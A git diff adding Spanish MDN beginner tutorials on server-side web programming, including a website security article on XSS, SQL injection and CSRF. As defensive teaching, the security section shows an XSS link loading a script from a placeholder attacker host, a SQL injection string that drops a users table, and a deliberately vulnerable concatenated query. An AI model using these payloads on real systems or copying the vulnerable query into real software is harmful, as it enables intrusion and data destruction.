text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal;'>disponible </span>a través de la codificación lado-servidor.</dd> + <dt><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/Vision_General_Cliente_Servidor">Visión general Cliente-Servidor</a></dt> + <dd>Ahora que conoces el propósito y beneficios potenciales de la programación lado-servidor examinaremos en detalle qué pasa cuando un servidor recibe una "petición dinámica" desde un explorador web. Como el código de lado-servidor de la mayoría de sitios web gestiona las peticiones y las respuestas de forma similar, ésto te ayudará entender qué necesitas hacer cuando escribes tu propio código.</dd> + <dt><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/Web_frameworks">Web frameworks de lado-servidor</a></dt> + <dd>El anterior artículo te mostró lo que necesita una aplicación web de lado servidor para responder a las peticiones de un explorador web. Ahora te mostraremos cómo los web frameworks pueden simplificar estas tareas y ayudarte a seleccionar el framework correcto para tu primera aplicación web de lado servidor.</dd> + <dt><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/seguridad_sitios_web">Seguridad de Sitios Web</a></dt> + <dd>La seguridad de los sitios web requiere vigilancia en todos los aspectos del diseño y uso del sitio . Este artículo introductorio no te convertirá en un gurú de la seguridad de sitios web, pero te ayudará a entender los primeros pasos importantes que deber dar para robustecer tu aplicación web contra las amenazas más comunes.</dd> +</dl> + +<h2 id="Evaluaciones">Evaluaciones</h2> + +<p>Este módulo "visión general" no hace ninguna evaluación ya que no te hemos enseñado ningún código todavía. Esperamos que en este punto tengas una comprensión de qué clase de funcionalidad puedes distribuir usando programación de lado servidor y habrás tomado una decisión sobre el web framework de lado servidor que usarás para crear tu primer sitio. </p> diff --git a/files/es/learn/server-side/primeros_pasos/introducción/index.html b/files/es/learn/server-side/primeros_pasos/introducción/index.html new file mode 100644 index 0000000000..0b0d2da59e --- /dev/null +++ b/files/es/learn/server-side/primeros_pasos/introducción/index.html @@ -0,0 +1,192 @@ +--- +title: Introducción al lado servidor +slug: Learn/Server-side/Primeros_pasos/Introducción +tags: + - Aprendizaje + - Codificación de scripts + - Guía + - Principiante + - Programación lado servidor + - Servidor + - introducción +translation_of: Learn/Server-side/First_steps/Introduction +--- +<div>{{LearnSidebar}}</div> + +<div>{{NextMenu("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps")}}</div> + +<p class="summary">¡Bienvenidos al curso MDN de programación para principiantes de lado servidor! En este primer artículo enfocamos la programación de Lado-Servidor desde un nivel alto, respondiendo a preguntas tales como "¿qué es?", "¿en qué se diferencia de la programación de Lado-Cliente?" y "¿porqué es tan útil?". Después de leer este artículo entenderás el poder adicional para los sitios web disponible a través de la codificación lado-servidor.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Prerequisitos:</th> + <td>Nociones básicas de computación. Entender lo que es un servidor web.</td> + </tr> + <tr> + <th scope="row">Objetivo:</th> + <td>Familiarizarse con lo que es la programación de lado servidor, qué puede hacer y en qué se diferencia de la programación de lado cliente.</td> + </tr> + </tbody> +</table> + +<p>La mayoría de los grandes sitios web usan código de lado servidor para presentar, cuando se necesitan, diferentes datos, generalmente extraidos de una base de datos almacenada en un servidor y enviada al cliente para ser presentada mediante algún código (ej, HTML y JavaScript). Quizá el beneficio más significativo de la codificación de lado servidor es que te permite confeccionar el contenido del sitio web para usuarios individuales. Los sitios dinámicos pueden resaltar contenido que es más relevante basándose en las preferencias del usuario y sus hábitos. Puede hacer también que los sitios sean más fáciles de usar al almacenar las preferencias personales y la información - por ejemplo reusando los detalles de la tarjeta de crédito guardados para agilizar los pagos siguientes. Puede incluso permitir la interacción con los usuarios fuera del sitio, enviando notificaciones y actualizaciones via email o a traves de otros canales. Todas estas capacidades permite un mayor compromiso con los usuarios. </p> + +<p>En el mundo moderno del desarrollo web, el aprendizaje sobre desarrollo de lado servidor es altamente recomendable.</p> + +<h2 id="¿Qué_es_la_programación_de_sitios_web_de_lado_servidor">¿Qué es la programación de sitios web de lado servidor?</h2> + +<p>Los exploradores web se comunican con los <a href="/es-ES/docs/Learn/Common_questions/What_is_a_web_server">servidores web</a> usando el Protocolo de Transporte de Hyper Texto (HyperText Transport Protocol ({{glossary("HTTP")}}). Cuando pinchas en un enlace en una página web, envías un formulario o ejecutas una búsqueda, se envía una peticion HTTP desde tu explorador web al servidor web de destino. La petición incluye un URL que identifica el recurso afectado, un método que define la acción requerida (por ejemplo, obtener, borrar o publicar el recurso), y puede incluir información adicional codificada en parámetros en el URL (los pares campo-valor enviados en una cadena de consulta (<a href="https://en.wikipedia.org/wiki/Query_string">query string</a>), como datos POST (datos enviados mediate el método POST de HTTP, <a href="/es/docs/Web/HTTP/Methods/POST">HTTP POST method</a>), o en {{glossary("Cookie", "associated cookies")}}.</p> + +<p>Los servidores web esperan los mensajes de petición de los clientes, los procesan cuando llegan y responden al explorador web con un mensaje de respuesta HTTP. La repuesta contiene una línea de estado indicando si la petición ha tenido éxito o no (ej, "HTTP/1.1 200 OK" en caso de éxito). El cuerpo de una respuesta exitosa a una petición podría contener el resurso solicitado (ej, una nueva página HTML, o una imagen, etc...), que el explorador web podría presetar en pantalla.</p> + +<h3 id="Sitios_Estáticos">Sitios Estáticos</h3> + +<p>El diagrama de abajo muestra una arquitectura de servidor web básica correspondiente a un <em>sitio estático</em> (un sitio estático es aquél que devuelve desde el servidor el mismo contenido insertado en el código "hard coded" siempre que se solicita un recurso en particular). Cuando un usuario quiere navegar a una página, el explorador envía una petición HTTP "GET" especificando su URL. El servidor recupera de su sistema de ficheros el documento solicitado y devuelve una respuesta HTTP que contiene el documento y un <a href="/es/docs/Web/HTTP/Status#Successful_responses">estado de éxito "success status</a>" (normalmente 200 OK). Si el fichero no puede ser recuperado por alguna razón, se devuelve un estado de error (ver <a href="/es/docs/Web/HTTP/Status#Client_error_responses">respuestas de error del cliente</a> and <a href="/es/docs/Web/HTTP/Status#Server_error_responses">respuestas de error del servidor</a>).</p> + +<p><img alt="A simplified diagram of a static web server." src="https://mdn.mozillademos.org/files/13841/Basic%20Static%20App%20Server.png" style="height: 223px; width: 800px;"></p> + +<h3 id="Sitios_Dinámicos">Sitios Dinámicos</h3> + +<p>Un sitio dinámico es aquél en que algun contenido de la respuesta está generado <em>dinámicamente</em> sólo cuando se necesita. En un sitio web dinámico las páginas HTML se crean normalmente insertando datos desde una base en variables dentro de plantillas HTML (esta es una forma mucho más eficiente de almacenar gran cantidad de contenido que la que usan los sitios web estáticos). Un sitio dinámico puede devolver datos diferentes para un URL basados en la información proporcionada por el usuario o sus preferencias almacenadas y puede realizar otras operaciones como parte de la devolución de respuesta (ej, enviar notificaciones).</p> + +<p>La mayor parte del código para soportar un sitio web dinámico debe correr en el servidor. La creación de este código se conoce como "programación de lado-servidor" (o algunas veces "back-end scripting").</p> + +<p>El diagrama de abajo muestra una arquitectura simple para un<em>sitio web dinámico.</em> Como en el diagrama previo, los exploradores web envían peticiones HTTP al servidor, el servidor procesa a continuación las peticiones y devuelve las respuestas HTTP apropiadas. Las peticiones de recursos <em>estáticos</em> son gestionadas de la misma manera que para los <em>sitios estáticos</em> (los recursos estáticos son cualquier fichero que no cambia - generalmente: CSS, JavaScript, Imágenes, ficheros PDF creados previamente, etc...)</p> + +<p><img alt="A simplified diagram of a web server that uses server-side programming to get information from a database and construct HTML from templates. This is the same diagram as is in the Client-Server overview." src="https://mdn.mozillademos.org/files/13839/Web%20Application%20with%20HTML%20and%20Steps.png"></p> + +<p>Las peticiones de recursos dinámicos, por el contrario, son reenviadas (2) al código del lado-servidor (mostrado en el diagrama como <em>Web Application</em>). Para las "peticiones dinámicas" el servidor interpreta la petición, lee de la base de datos la información requerida (3), combina los datos recuperados con las plantillas HTML (4), y envía de vuelta una respuesta que contiene el HTML generado (5,6). </p> + +<div> +<h2 id="¿Son_iguales_la_programación_del_lado-servidor_y_lado-cliente">¿Son iguales la programación del lado-servidor y lado-cliente?</h2> +</div> + +<p>Prestemos ahora nuestra atención al código involucrado en la programación de lado-servidor y lado-cliente. En cada caso, el código es significativamente diferente:</p> + +<ul> + <li>Tienen diferentes propósitos y preocupaciones.</li> + <li>Por lo general no usan los mismos lenguajes de programación (siendo la excepción el JavaScript, que puede usarse tanto en lado servidor como en lado cliente).</li> + <li>Se ejecutan entornos de diferentes sistemas operativos.</li> +</ul> + +<p>El código que se ejecuta en el explorador se conoce como código de lado-cliente, y su principal preocupación es la mejora de la apariencia y el comportamiento de una página web entregada. Esto incluye la selección y estilo de los componentes UI, la creación de layouts, navegación, validación de formularios, etc. Por otro lado, la programación de sitios web de lado servidor en su mayor parte implica la elección de <em>qué contenido</em> se ha de devolver al explorador como respuesta a sus peticiones. El código de lado-servidor gestiona tareas como la validación de los datos enviados y las peticiones, usando bases de datos para almacenar y recuperar datos, y enviando los datos correctos al cliente según se requiera.</p> + +<p>El código del lado cliente está escrito usando <a href="/es/docs/Learn/HTML">HTML</a>, <a href="/es/docs/Learn/CSS">CSS</a>, y <a href="/es/docs/Learn/JavaScript">JavaScript</a> — es ejecutado dentro del explorador web y tiene poco o ningún acceso al sistema operativo subyacente (incluyendo un acceso limitado al sistema de ficheros).</p> + +<p>Los desarrolladores web no pueden controlar qué explorador web usará cada usuario para visualizar un sitio web — los exploradores web proporcionan niveles de compatibilidad inconsistentes con las características de codificación lado cliente, y parte del reto de la programación de lado cliente es gestionar con dignidad las diferencias de soporte entre exploradores.</p> + +<div>El código del lado servidor puede escribirse en cualquier número de lenguajes de programación — ejemplos de lenguajes de programación populares incluyen PHP, Python, Ruby, C# y NodeJS(JavaScript). El código del lado servidor tiene acceso completo al sistema operativo del servidor y el desarrollador puede elegir qué lenguaje de programación (y qué versión específica) desea usar.</div> + +<div>Los desarrolladores generalmente escriben su código usando web frameworks. Los web framworks son colecciones de funciones, objetos, reglas y otras construcciones de código diseñadas para resolver problemas comunes, acelerar el desarrollo y simplificar los diferentes tipos de tareas que se han de abordar en un dominio en particular.</div> + +<div>De nuevo, mientras que, tanto el código lado cliente y el lado servidor usan frameworks, los dominios son muy diferentes, y por lo tanto también lo son los frameworks. Los frameworks del lado cliente simplifican los diseños y las tareas de presentación mientras que los del lado servidor proporcionan un montón de funcionalidades "comunes" que tendría que haber implementado uno mismo (ej, soporte para las sesiones, soporte para los usuarios y autenticación, acceso fácil a la base de datos, librerías de plantillas, etc...).</div> + +<div class="note"> +<p>Nota: Los frameworks del lado cliente se usan con frecuencia para acelerar el desarrollo del código del lado cliente, pero también se puede elegir escribir todo el código a mano; de hecho, escribir el código a mano puede ser más rápido y más eficiente si sólo se necesita una UI para sitio web pequeña y simple. Por contra, casi nunca se consideraría escribir el componente del lado servidor de una aplicación web ("web app") sin un framework — implementar una característica vital como un servidor HTTP es realmente difícil de hacer de la nada en un lenguaje como, por ejemplo, Python, pero los web frameworks de Python como Django proporcionan uno listo para usar, junto con otras herramientas muy útiles.</p> +</div> + +<h2 id="¿Qué_se_puede_hacer_en_el_lado-servidor">¿Qué se puede hacer en el lado-servidor?</h2> + +<p>La programación del lado-servidor es muy útil porque nos permite distribuir <em>eficientemente</em> información a medida para usuarios individuales y por lo tanto crear una experiencia de usuario mucho mejor.</p> + +<p>Compañías como Amazon utilizan la programación del lado-servidor para construir resultados de búsquedas de productos, hacer sugerencias sobre productos escogidos basados en las preferencias del cliente y sus hábitos de compra previos, simplificar las adquisiciones, etc. Los bancos usan la programación del lado-servidor para almacenar la información sobre las cuentas y permitir ver y realizar transacciones sólo a los usuarios autorizados. Otros servicios como Facebook, Twitter, Instagram y Wikipedia usan la programación de lado-servidor para destacar, compartir y controlar el acceso al contenido interesante.</p> + +<p>Algunos de los usos y beneficios comunes de la programación de lado-servidor se lista debajo. Notarás que hay algo de solapamiento.</p> + +<h3 id="Almacenaje_y_distribución_eficiente_de_información">Almacenaje y distribución eficiente de información</h3> + +<p>Imagina cuántos productos están disponibles en Amazon, e imagina cuántas entradas se han escrito en Facebook. Crear una página estática separada para cada producto o entrada sería completamente ineficiente.</p> + +<p>La programación de lado-servidor nos permite por el contrario almacenar la información en una base de datos y construir dinámicamente y devolver ficheros HTML y de otros tipos (ej, PDFs, imágenes, etc.). También es posible devolver simplemente datos ({{glossary("JSON")}}, {{glossary("XML")}}, etc.) para presentar mediante los web frameworks adecuados del lado-cliente (esto reduce la carga de procesamiento del servidor y la cantidad de datos que se necesitan enviar).</p> + +<p>El servidor no se limita a enviar información de las bases de datos, y podría además devolver el resultado de herramientas de software o datos de servicios de comunicación. El contenido puede incluso ser dirigido por el tipo de dispositivo cliente que lo está recibiendo.</p> + +<p>Debido a que la información está en una base de datos, puede también ser compartida y actualizada con otros sistemas de negocio (por ejemplo, cuando se venden los productos online o en una tienda, la tienda debería actualizar su base de datos de inventario.</p> + +<div class="note"> +<p>Nota: Tu imaginación no tiene que trabajar duro para ver el beneficio de la codificación de lado-servidor para el almacenaje y distribución de información:</p> + +<ol> + <li>Vete a <a href="https://www.amazon.com">Amazon</a> o a cualquier otro sitio de comercio electrónico "e-commerce".</li> + <li>Busca por un número de palabras clave y nota como la estructura de la página no cambia, incluso aunque cambien los resultados. </li> + <li>Abre dos o tres productos diferentes. Fíjate de nuevo como tienen una estructura y diseño común, pero el contenido para los diferentes productos ha sido extraido de la base de datos.</li> +</ol> + +<p>Para un término de búsqueda común (digamos "pez") puedes ver literalmente millones de valores retornados. Usar una base de datos permite que éstos sean almacenados y compartidos de forma eficiente, y permite que la presentación de la información esté controlada en un solo sitio.</p> +</div> + +<h3 id="Experiencia_de_usuario_personalizada">Experiencia de usuario personalizada</h3> + +<p>Los servidores pueden almacenar y usar la información acerca de los clientes para proporcionar una experiencia de usuario conveniente y dirigida. Por ejemplo, muchos usuarios almacenan tarjetas de crédito de forma que los detalles no tienen que ser introducidos de nuevo. Sitios como Google Maps usan la localización de tu casa y la actual para proporcionar una información sobre la ruta a seguir y resaltar los negocios locales en los resultados de búsqueda.</p> + +<p>Un análisis profundo de los hábitos del usuario se puede usar para anticipar sus intereses y personalizar las respuestas y notificaciones futuras, proporcionando, por ejemplo, una lista de las localizaciones visitadas o populares que querrías buscar en un mapa.</p> + +<div class="note"> +<p>Nota: Vete a <a href="https://maps.google.com/">Google Maps</a> como usuario anónimo, selecciona el botón Direcciones, e introduce los puntos de partida y destino de un viaje. Ahora inicia sesión en el sistema con tu cuenta de Google, si tienes una (en el panel de abajo aparece información acerca de este proceso donde seleccionas direcciones). El sitio web te permitirá ahora seleccionar las localizaciones de casa y trabajo como puntos de partida y destino (o almacenar estos detalles si no lo has hecho así).</p> +</div> + +<h3 id="Acceso_controlado_al_contenido">Acceso controlado al contenido </h3> + +<p>La programación de lado-servidor permite a los sitios restringir el acceso a usuarios autorizados y servir sólo la información que se le permite ver al usuario.</p> + +<p>Ejemplos del mundo real incluyen:</p> + +<ul> + <li>Redes sociales como Facebook permiten a los usuarios controlar totalmente sus propios datos pero permitiendo sólo a sus amigos ver o comentar sobre ellos. El usuario determina quien puede ver sus datos, y por extensión, los datos de quienes aparecen en sus notificaciones — autorización es una parte central de la experiencia de usuario!</li> + <li> + <p>El sitio en el que te encuentras ahora controla el acceso al contenido: los artículos son visibles a todos, pero sólo los usuarios que se han identificado pueden editar el contenido. Para comprobar ésto, pincha en el botón Edit en la parte superior de esta página — si te has identificado iniciando sesión se te mostrará la vista de edición; si no has iniciado sesión serás enviado a una página de registro.</p> + </li> +</ul> + +<div class="note"> +<p>Nota: Considera otros ejemplos reales donde el acceso al contenido está controlado. Por ejemplo, ¿qué puedes ver si vas al sitio online de tu banco? Inicia sesión con tu cuenta — ¿qué información adicional puedes ver y modificar? ¿Qué información puedes ver y sólo el banco puede cambiar?</p> +</div> + +<h3 id="Almacenar_información_de_sesiónestado">Almacenar información de sesión/estado</h3> + +<p>La programación de lado-servidor permite a los desarrolladores hacer uso de las sesiones — es básicamente un mecanismo que permite al servidor almacenar información sobre el usuario actual del sitio u enviar diferentes respuestas basadas en esa información. Esto permite, por ejemplo, que un sitio sepa que un usuario ha iniciado sesión previamente y presente enlaces a sus correos, o a su historial de órdenes, o quizá guardar el estado de un simple juego de forma que el usuario pueda volver al sitio de nuevo y retomar el juego donde lo dejó.</p> + +<div class="note"> +<p>Nota: Visita el sitio de un periódico que tenga un modelo de subscripción y abre un puñado de pestañas (ej, <a href="http://www.theage.com.au/">The Age</a>). Continua visitando el sitio durante unos pocos días/horas. En algún momento serás finalmente redirigido a las páginas que explican cómo suscribirte y se te impedirá el acceso a los artículos. Esta información es un ejemplo de información de sesión almacenada en cookies.</p> +</div> + +<h3 id="Notificaciones_y_comunicación">Notificaciones y comunicación</h3> + +<p>Los servidores pueden enviar notificaciones de tipo general o específicas de usuario a través del propio sitio web o vía correo electrónico, SMS, mensajería instanténea, conversaciones de video u otros servicios de comunicación.</p> + +<p>Unos pocos ejemplos incluyen:</p> + +<ul> + <li>Facebook y Twitter envían mensajes de correoy SMS para notificarte de nuevas comunicaciones.</li> + <li>Amazon envía con regularidad emails que sugieren productos similares a aquellos comprados o vistos anteriormente y en los que podrías estar interesado.</li> + <li>Un servidor web podría enviar mensajes de aviso a los administradores del sistema alertandoles de memoria baja en el servidor o de actividades de usuario sospechosas.</li> +</ul> + +<div class="note"> +<p>Nota: El tipo de notificación más común es una "confirmación de registro". Elige uno cualquiera de los grandes sitios en que estés interesado (Google, Amazon, Instagram, etc.) y crea una cuenta nueva usando tu dirección de correo. En breve recibirás un email de confirmación de registro, o solicitando un acuse de recibo para activar la cuenta.</p> +</div> + +<h3 id="Análisis_de_datos">Análisis de datos</h3> + +<p>Un sitio web puede recolectar un montón de datos acerca de los usuarios: qué es lo que buscan, qué compran, qué recomiendan, cuánto tiempo permanecen en cada página. La programación de lado-servidor puede utilizarse para refinar las respuestas basándose en el análisis de estos datos.</p> + +<p>Por ejemplo, Amazon y Google anuncian ambos productos basados en búsquedas previas (y adquisiciones).</p> + +<div class="note"> +<p>Nota: Si eres usuario de Facebook vete a tu muro y hecha un ojo a la ristra de entradas. Fíjate como algunas de las entradas no están en orden numérico - en particular las entradas con más "me-gusta" están con frecuencia en lugares más altos de la lista que las entradas más recientes. Echa un ojo también a qué clase de anuncios te están mostrando — podrías ver anuncios de cosas que has mirado en otros sitios. El algoritmo de Facebook para resaltar contenido y anuncios puede ser un poco misterioso, pero está claro que lo que hace depende de lo que te gusta y de tus hábitos de visualización!</p> +</div> + +<h2 id="Sumario">Sumario</h2> + +<p>Felicidades, has alcanzado el final de primer artículo sobre programación de lado-servidor. </p> + +<p>Ahora ya has aprendido que el código de lado-servidor se ejecuta en un servidor web y que su papel principal es controlar <em>qué </em>información se envía al usuario (mientras que el código de lado-cliente gestiona principalmente la estructura y presentación de esos datos al usuario).</p> + +<p>También deberías comprender que es útil porque nos permite crear sitios web que distribuyen <em>de forma eficiente</em> información seleccionada dirigida a usuarios individuales y tener una buena idea de algunas de las cosas que podrías ser capaz de hacer cuando seas un programador de lado-servidor.</p> + +<p>Finalmente, deberías comprender que el código de lado-servidor se puede escribir en un gran número de lenguajes de programación y que deberías usar un web framework para hacer más fácil el proceso completo.</p> + +<p>En un artículo futuro te ayudaremos a escoger el mejor web framework para tu primer sitio; Aunque a continuación te llevaremos a través de las principales interacciones cliente-servidor en un poco más de detalle.</p> + +<p>{{NextMenu("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps")}}</p> diff --git a/files/es/learn/server-side/primeros_pasos/seguridad_sitios_web/index.html b/files/es/learn/server-side/primeros_pasos/seguridad_sitios_web/index.html new file mode 100644 index 0000000000..c2630fc050 --- /dev/null +++ b/files/es/learn/server-side/primeros_pasos/seguridad_sitios_web/index.html @@ -0,0 +1,177 @@ +--- +title: Seguridad de Sitios Web +slug: Learn/Server-side/Primeros_pasos/seguridad_sitios_web +tags: + - Aprendizaje + - Codificación de scripts + - Guía + - Principiante + - Programación de lado servidor + - Seguridad + - Seguridad Web + - Seguridad de sitios Web + - introducción +translation_of: Learn/Server-side/First_steps/Website_security +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenu("Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</div> + +<p class="summary">La Seguridad web require vigilancia en todos los aspectos del diseño y uso de un sitio web. Este artículo introductorio no te hará un gurú de la seguridad en sitios web, pero te ayudará a entender de donde vienen las amenazas y qué puedes hacer para fortalecer tu aplicación web contra los ataques más comunes.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Pre-requisitos:</th> + <td>Conocimientos de computación básicos.</td> + </tr> + <tr> + <th scope="row">Objetivo:</th> + <td>Entender las amenazas más comunes para la seguridad de una aplicación web y lo que puedes hacer para reducir el riesgo de que tu sitio sea hackeado.</td> + </tr> + </tbody> +</table> + +<h2 id="¿Qué_es_la_seguridad_de_sitios_web">¿Qué es la seguridad de sitios web?</h2> + +<p>¡Internet es un sitio peligroso! Con mucha frecuencia escuchamos sobre sitios web que dejan de estar disponibles debido a ataques de denegación de servicio, o presentan información modificada (y con frecuencia dañada) en sus páginas de inicio. En otros casos de alto nivel, millones de contraseñas, direcciones de correo electrónico y detalles de tarjetas de crédito han sido filtrados al dominio público, exponiendo a los usuarios del sitio web tanto a bochorno personal como a riesgo finaciero.</p> + +<p>El propósito de la seguridad web es prevenir ataques de esta (o de cualquier otra) clase. Mas formalmente, <em>la seguridad es la acción/práctica de proteger sitios web del acceso, uso, modificación, destrucción o interrupción, no autorizados</em>.</p> + +<p>La seguridad de sitios web eficaz requiere de esfuerzos de diseño a lo largo de la totalidad del sitio web: en tu aplicación web, en la configuración del servidor web, en tus políticas para crear y renovar contraseñas, y en el código del lado cliente. Al mismo tiempo que todo esto suena muy inquietante, la buena noticia es que si estás usando un framework web de lado servidor, es casi seguro que habilitará por defecto mecanismos de defensa robustos y bien pensados contra gran cantidad de los ataques más comunes. Otros ataques pueden mitigarse por medio de la configuración de tu servidor web, por ejemplo habilitando HTTPS. Finalmente, hay herramientas de escaneado de vulnerabilidades disponibles públicamente que pueden ayudarte a averiguar si has cometido algún error obvio.</p> + +<p>El resto de este artículo proporciona más detalle sobre unas pocas amenazas comunes y algunos de los pasos simples que puedes dar para proterger tu sitio.</p> + +<div class="note"> +<p><strong>Nota</strong>: Este es un tema de introducción, diseñado para ayudarte a pensar sobre la seguridad de sitios web. No pretende ser exhaustivo.</p> +</div> + +<h2 id="Amenazas_contra_la_seguridad_de_sitios_web">Amenazas contra la seguridad de sitios web</h2> + +<p>Esta sección lista sólo algunas pocas de las amenazas más comunes para los sitios web y cómo son mitigadas. A medida que vayas leyendo, fíjate cómo las amenazas tienen éxito cuando la aplicación web, ¡o confía o <em>no es lo suficientemente paranoica</em> acerca de los datos que vienen del explorador web!</p> + +<h3 id="Cross-Site_Scripting_XSS">Cross-Site Scripting (XSS)</h3> + +<p>XSS es un término que se usa para describir una clase de ataques que permiten al atacante inyectar scripts de lado cliente, <em>a través </em>del sitio web, hasta los exploradores de otros usuarios. Como el código inyectado va del servidor del sitio al explorador, se supone de confianza, y de aquí que pueda hacer cosas como enviar al atacante la cookie de autorización al sitio del usuario. Una vez que el atacante tiene la cookie pueden iniciar sesión en el sitio como si fuera el verdadero usuario y hacer cualquier cosa que pueda hacer éste. Dependiendo de que sitio sea, esto podría incluir acceso a los detalles de su tarjeta de crédito, ver detalles de contactos o cambiar contraseñas, etc.</p> + +<div class="note"> +<p><strong>Nota</strong>: Las vulnerabilidades XSS han sido históricamente más comunes que las de cualquier otro tipo.</p> +</div> + +<p>Hay dos aproximaciones principales para conseguir que el sitio devuelva scripts inyectados al explorador — se conocen como vulnerabilidades XSS <em>reflejadas</em> y <em>persistentes</em>.</p> + +<ul> + <li>Una vulnerabilidad XSS <em>reflejada</em> ocurre cuando contenido del usuario que se pasa al servidor se devuelve <em>inmediatamente y sin modificar</em> par que los muestre el explorador — ¡cualquier script en el contenido original del usuario se ejecutará cuando se cargue una nueva página!<br> + Por ejemplo, considera una función de búsqueda en un sitio donde los términos de búsqueda están codificados como parámetros URL y estos términos se presentan junto con los resultados. Un atacante puede construir un enlace de búsqueda que contenga un script malicioso como parámetro (ej. <code>http://mysite.com?q=beer<script%20src="http://evilsite.com/tricky.js"></script></code>) y enviarlo como enlace en un correo electrónico a otro usuario: Si el destinatario pincha en este "enlace interesante", el script se ejecutará cuando se muestren en pantalla los resultados de la búsqueda. Como discutimos arriba, ésto da al atacante toda la información que necesita para entrar en el sitio como si fuera el usuario destinatario — realizando compras potencialmente como si fuera el usuario o compartiendo su información de contactos.</li> + <li>Una vulnerabilidad <em>XSS persistente</em> es aquella en la que el script malicioso se <em>almacena</em> en el sitio web y luego más tarde se vuelve a presentar en pantalla sin modificar para que otros usuarios lo ejecuten involuntariamente. Por ejemplo, un foro de discusión que accepta comentarios que contengan HTML sin modificar, podría almacenar un script malicioso de un atacante. Cuando se muestren los comentarios se ejecutará el script y enviará al atacante la información requerida para acceder a la cuenta del usuario. Esta clase de ataque es extremadamente popular y muy potente, porque el atacante no tiene que tener ninguna relación directa con las víctimas.<br> + <br> + Si bien los datos <code>POST</code> o <code>GET</code> son las fuentes más comunes de vulnerabilidades, cualquier dato del explorador es vulnerable potencialmente (incluyendo los datos de cookies renderizados por el explorador, o los ficheros de los usuarios que éste sube o que se muestran).</li> +</ul> + +<p>La mejor defensa contra las vulnerabilidades XSS es eliminar o deshabilitar cualquier etiqueta que pueda contener instrucciones para ejecutar código. En el caso del HTML ésto incluye etiquetas como <code><script></code>, <code><object></code>, <code><embed></code>, y <code><link></code>.</p> + +<div> +<p>El proceso de modificar los datos del usuario de manera que no puedan utilizarse para ejecutar scripts o que afecten de otra forma la ejecución del código del servidor, se conoce como "desinfección de entrada" (input sanitization). Muchos frameworks web desinfectan automáticamente la entrada del usuario desde formularios HTML, por defecto.</p> +</div> + +<h3 id="Inyección_SQL">Inyección SQL</h3> + +<p>Las vulnerabilidades de Inyección SQL habilitan que usuarios maliciosos ejecuten código SQL arbitrario en una base de datos, permitiendo que se pueda acceder a los datos, se puedan modificar o borrar, independientemente de los permisos del usuario. Un ataque de inyección con éxito, podría falsificar identidades, crear nuevas identidades con derechos de administración, acceder a todos los datos en el servidor o destruir/modificar los datos para hacerlos inutilizables.</p> + +<p>Esta vulnerabilidad está presente si la entrada del usuario que se pasa a la sentencia SQL subyacente puede cambiar el significado de la misma. Por ejemplo, considera el código de abajo, que pretende listar todos los usuarios con un nombre en particular (<code>userName</code>) que ha sido suministrado en un formulario HTML:</p> + +<pre class="brush: sql">statement = "SELECT * FROM users WHERE name = '" + <strong>userName</strong> + "';"</pre> + +<p>Si el usuario introduce su nombre real, la cosa funciona como se pretende. Sin embargo un usuario malicioso podría cambiar completamente el comportamiento de esta sentencia SQL a la nueva sentencia de abajo, simplemente especificando para <code>userName</code> el texto de abajo en "<strong>negrilla</strong>". La sentencia modificada crea una sentencia SQL válida que borra la tabla <code>users</code> y selecciona todos los datos de la tabla <code>userinfo</code> (revelando la información de todos los usuarios). Esto funciona por que la primera parte del texto inyectado (<code>a';</code>) completa la sentencia original (' es el símbolo para indicar una cadena literal en SQL).</p> + +<pre class="brush: sql">SELECT * FROM users WHERE name = '<strong>a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't</strong>'; +</pre> + +<p>La manera de evitar esta clase de ataque es asegurar que cualquier dato de usuario que se pasa a un query SQL no puede cambiar la naturaleza del mismo. Una forma de hacer ésto es <a href="https://en.wikipedia.org/wiki/Escape_character">eludir ('escape')</a> todos los caracteres en la entrada de usuario que tengan un significado especial en SQL.</p> + +<div class="note"> +<p><strong>Nota</strong>: La sentencia SQL trata el caracer ' como el principio y el final de una cadena de texto. Colocando el caracter barra invertida \ delante, "eludimos" el símbolo (\'), y le decimos a SQL que lo trate como un caracter de texto (como parte de la misma cadena).</p> +</div> + +<p>En la sentencia de abajo eludimos el carácter '. SQL interpretará ahora como "nombre" la cadena de texto completa mostrada en negrilla (!un nombre muy raro desde luego, pero no dañino¡)</p> + +<pre class="brush: sql">SELECT * FROM users WHERE name = '<strong>a\';DROP TABLE users; SELECT * FROM userinfo WHERE \'t\' = \'t'</strong>; + +</pre> + +<p>Los frameworks web con frecuencia tienen cuidado de hacer por tí la elusión de caracteres. Django, por ejemplo se asegura que cualquier dato de usuario que se pasa a los conjuntos de queries (modelo de queries) está corregido.</p> + +<div class="note"> +<p><strong>Nota</strong>: Esta sección se sustenta aquí en la información de <a href="https://en.wikipedia.org/wiki/SQL_injection">Wikipedia</a>.</p> +</div> + +<h3 id="Cross_Site_Request_Forgery_CSRF">Cross Site Request Forgery (CSRF)</h3> + +<p>Los ataques de CSRF permiten que un usuario malicioso ejecute acciones usando las credenciales de otro usuario sin el conocimiento o consentimiento de éste.</p> + +<p>Este tipo de ataque se explica mejor con un ejemplo. John es un usuario malicioso que sabe que un sitio en particular permite a los usuarios que han iniciado sesión enviar dinero a una cuenta específica usando una petición HTTP <code>POST</code> que incluye el nombre de la cuenta y una cantidad de dinero. John construye un formulario que incluye los detalles de su banco y una cantidad de dinero como campos ocultos, y lo envía por correo electrónico a otros usuarios del sitio (con el botón de <em>Enviar</em> camuflado como enlace a un sitio "hazte rico rápidamente").</p> + +<p>Si el usuario pincha el botón de enviar, se envía al servidor una petición HTTP <code>POST</code> que contiene los detalles de la transacción y <em>todos los cookies de lado-cliente que el explorador asocia con el sitio</em> (añadir cookies asociados con el sitio es un comportamiento normal de los exploradores). El servidor comprobará los cookies, y los usará para determinar si el usuario ha iniciado sesión o no y si tiene permiso para hacer la transacción.</p> + +<p>El resultado es que cualquier usuario que pinche en el botón <em>Enviar</em> mientras tiene la sesión iniciada en el sitio comercial hará la transacción. ¡John se hará rico!</p> + +<div class="note"> 